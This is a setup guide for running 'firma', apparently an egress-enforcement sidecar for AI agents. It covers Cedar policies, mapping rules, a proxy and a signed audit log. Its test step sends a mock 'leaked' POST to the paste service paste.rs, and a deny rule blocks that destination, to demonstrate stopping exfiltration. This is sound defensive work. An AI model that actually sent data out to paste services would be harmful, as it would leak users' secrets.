Run the sidecar standalone
This guide walks you through running the Sidecar as a standalone process, pointing an agent at it, and observing decisions in the audit log. It is the next step after the Quickstart — you’ll write your own config from scratch instead of using just demo.
By the end you will have:
- A working
firma.tomlyou understand line by line. - A running Sidecar that audits every outbound call to the configured destinations.
- A simple agent (just
curl) routed through it, producing ALLOW and DENY decisions.
This guide does not cover firma run (the sandbox wrapper), HTTPS MITM, or capability-mediated workloads. Those build on this baseline.
Prerequisites
Section titled “Prerequisites”- A built workspace:
cargo build --releasefrom the repo root. protocinstalled.opensslfor generating the audit signing key.curlfor the test calls.
The release binary lives at target/release/firma. If you’d rather use cargo run, substitute cargo run --release -p firma -- <args> for firma <args> below.
Step 1: Create a workspace directory
Section titled “Step 1: Create a workspace directory”Pick a directory for the Sidecar’s runtime files:
mkdir -p /tmp/firma-standalone/{config,logs}cd /tmp/firma-standaloneThis keeps all the dev artifacts in one place so you can blow it away cleanly later.
Step 2: Generate the audit signing key
Section titled “Step 2: Generate the audit signing key”The Sidecar signs every audit event with an ECDSA P-256 key. Generate one:
openssl genpkey \ -algorithm EC \ -pkeyopt ec_paramgen_curve:P-256 \ -out /tmp/firma-standalone/audit.keyKeep this file private. It’s your tamper-evidence root.
Step 3: Write the mapping rules
Section titled “Step 3: Write the mapping rules”Create /tmp/firma-standalone/config/mapping-rules.toml:
# Map the calls we want to enforce on. Anything not listed here will# be PASSTHROUGH because we set default_protected = false in the# sidecar config below — convenient for first-touch experimentation.
[[rules]]method = "GET"host = "wttr.in"path = "*"action_class = "communication.external.send"
[[rules]]method = "POST"host = "paste.rs"path = "*"action_class = "communication.external.send"These two rules are enough to demonstrate ALLOW (a weather query) and DENY (a paste exfiltration attempt) without any third-party API keys.
Step 4: Write a minimal Cedar policy
Section titled “Step 4: Write a minimal Cedar policy”Create /tmp/firma-standalone/config/policies/:
mkdir -p /tmp/firma-standalone/config/policiesCreate /tmp/firma-standalone/config/policies/default.cedar:
// Permit weather lookups; forbid pastes. A minimal demonstration policy.
permit ( principal, action == Firma::Action::"communication.external.send", resource) when { context.risk_score < 80};
forbid ( principal, action == Firma::Action::"communication.external.send", resource == Firma::Resource::"paste.rs/");The Sidecar evaluates Cedar policies streamed from a running Authority — not
from [sidecar.policy].dir alone. That directory is hashed for startup logs;
runtime enforcement comes from the Authority bundle stream. Offline validation
uses the embedded schema via firma policy validate.
Step 5: Generate Authority material and write firma.toml
Section titled “Step 5: Generate Authority material and write firma.toml”Generate the Authority signing key and a permissive issuance policy for this dev stack:
firma authority generate-key -o /tmp/firma-standalone/authority.keymkdir -p /tmp/firma-standalone/config/issuancecat > /tmp/firma-standalone/config/issuance/issuance.cedar <<'EOF'permit (principal, action, resource);EOFtouch /tmp/firma-standalone/revocations.txtCreate /tmp/firma-standalone/config/firma.toml. Every subcommand reads one
shared, sectioned firma.toml:
[authority]listen_addr = "[::1]:50051"policy_dir = "/tmp/firma-standalone/config/policies"issuance_policy_dir = "/tmp/firma-standalone/config/issuance"revocation_file = "/tmp/firma-standalone/revocations.txt"key_file = "/tmp/firma-standalone/authority.key"max_ttl_seconds = 3600bundle_ttl_seconds = 30log_level = "info"
[sidecar.interceptor]mode = "http_proxy"listen_addr = "127.0.0.1:8080"drain_timeout_secs = 5
[sidecar.mapping]rules_path = "/tmp/firma-standalone/config/mapping-rules.toml"default_protected = false
[sidecar.policy]dir = "/tmp/firma-standalone/config/policies"
[sidecar.authority]url = "http://[::1]:50051"public_key_path = "/tmp/firma-standalone/authority.pub"
[sidecar.preflight]agent_id = "standalone-demo"session_id = "standalone-session"requested_actions = ["communication.external.send"]resource_scope = "*"
[sidecar.constraint_enforcement]bundle_ttl_seconds = 3600enforcement_timeout_ms = 50
[sidecar.audit]sink = "file"file_path = "/tmp/firma-standalone/logs/audit.jsonl"signing_key_path = "/tmp/firma-standalone/audit.key"
[sidecar.log]level = "info"Notes:
[sidecar.authority].urlis required for Stage 2 on mapped routes. Without it the Sidecar keeps a deny-all stale evaluator and every protected call becomespolicy bundle stale.[sidecar.preflight]asks the Authority for a dev capability at Sidecar startup so Stage 1 passes without hand-minting a seed file. See Issue capability tokens for the long-lived seed workflow.default_protected = falsekeeps unmapped destinations as passthrough while you experiment. Production stacks should usetrue.- No
[sidecar.ca]section — these demo curls use plain HTTP. See Enable HTTPS MITM when you need L7 visibility on TLS.
Step 6: Start the Authority, then the Sidecar
Section titled “Step 6: Start the Authority, then the Sidecar”Two terminals.
Terminal 1 — Authority:
firma authority -c /tmp/firma-standalone/config/firma.tomlTerminal 2 — Sidecar:
firma sidecar -c /tmp/firma-standalone/config/firma.tomlExpected Sidecar output (lightly trimmed):
INFO config loaded path="/tmp/firma-standalone/config/firma.toml"INFO mapping table loaded rules=2INFO policy bundle loaded version="…" policies=1INFO authority stream connected endpoint="http://[::1]:50051"INFO connector registry built hosts=0 default_timeout_ms=…INFO interceptor listening addr="127.0.0.1:8080"INFO readyThe ready line is held until the Authority policy and revocation streams
hydrate — so the first proxied request cannot race ahead of enforcement.
Step 7: Send traffic through it
Section titled “Step 7: Send traffic through it”In a second terminal, route a couple of curl calls through the proxy:
# Should ALLOWcurl --proxy http://127.0.0.1:8080 http://wttr.in/london?format=3
# Should DENY (HTTP 403 from the Sidecar)curl --proxy http://127.0.0.1:8080 -X POST http://paste.rs/ -d 'leaked'The first call returns weather text. The second call returns a 403 — the Sidecar refused to dispatch it because the policy forbids paste.rs/.
Step 8: Read the audit log
Section titled “Step 8: Read the audit log”tail -n 5 /tmp/firma-standalone/logs/audit.jsonl | python3 -m json.toolYou’ll see two records (one per curl), each with:
decision:1for ALLOW or2for DENY.action:"communication.external.send"for both.resource: the normalized host+path, such as"wttr.in/london"or"paste.rs/".deny_reason: empty for ALLOW; for the forbidden paste, a string like"policy denied: policy denied action 'communication.external.send' on resource 'paste.rs/'".signature: a base64-encoded DER signature that you can verify with the public side ofaudit.key.
For verifying the signature, see Read & verify the audit log.
Common gotchas
Section titled “Common gotchas”HTTPS calls show up as method CONNECT. Without MITM, the only thing the Sidecar sees about HTTPS is the CONNECT line. The path is / and the action class will be whatever your rule maps CONNECT host:443 to — probably nothing. To enforce on the inner HTTP details, set up MITM (guide).
policy bundle stale or readiness denies. This appears when the
Sidecar cannot use a fresh Authority-backed policy bundle or revocation
view. You do not need to sequence the Authority before the Sidecar by hand:
the Sidecar retries Authority streams with backoff, stays fail-closed, and
emits sidecar ready only after the required streams hydrate. For
deployment probe guidance, see
startup ordering and readiness.
UnclassifiedIntent for unfamiliar destinations. With default_protected = true, anything you didn’t map denies. That’s the right shape in production; for development, leave default_protected = false until you’ve enumerated the rules you actually want.
Permission denied on audit.key. The Sidecar reads it at startup; chmod 600 is fine. If the key is unreadable, startup fails fast and prints the path it tried.
What’s next
Section titled “What’s next”This setup gives you a Sidecar that audits and enforces against destinations you map, using a hand-written Cedar policy. From here:
- Inspect live sidecars with
firma sidecar status— list and probe per-run sidecars started byfirma run, with JSON output and stale-marker GC. - Start and monitor the daemon with
firma sidecarandfirma monitor— supervise Authority + Sidecar as one unit and live-tail decisions, instead of running each binary by hand. - Write your first Cedar policy — go beyond the two-rule demo and learn the policy patterns.
- Issue capability tokens — add an Authority and a real Stage 1 layer.
- Enable HTTPS MITM — see L7 details for HTTPS hosts.
- Read & verify the audit log — turn the JSONL into a tamper-evident record.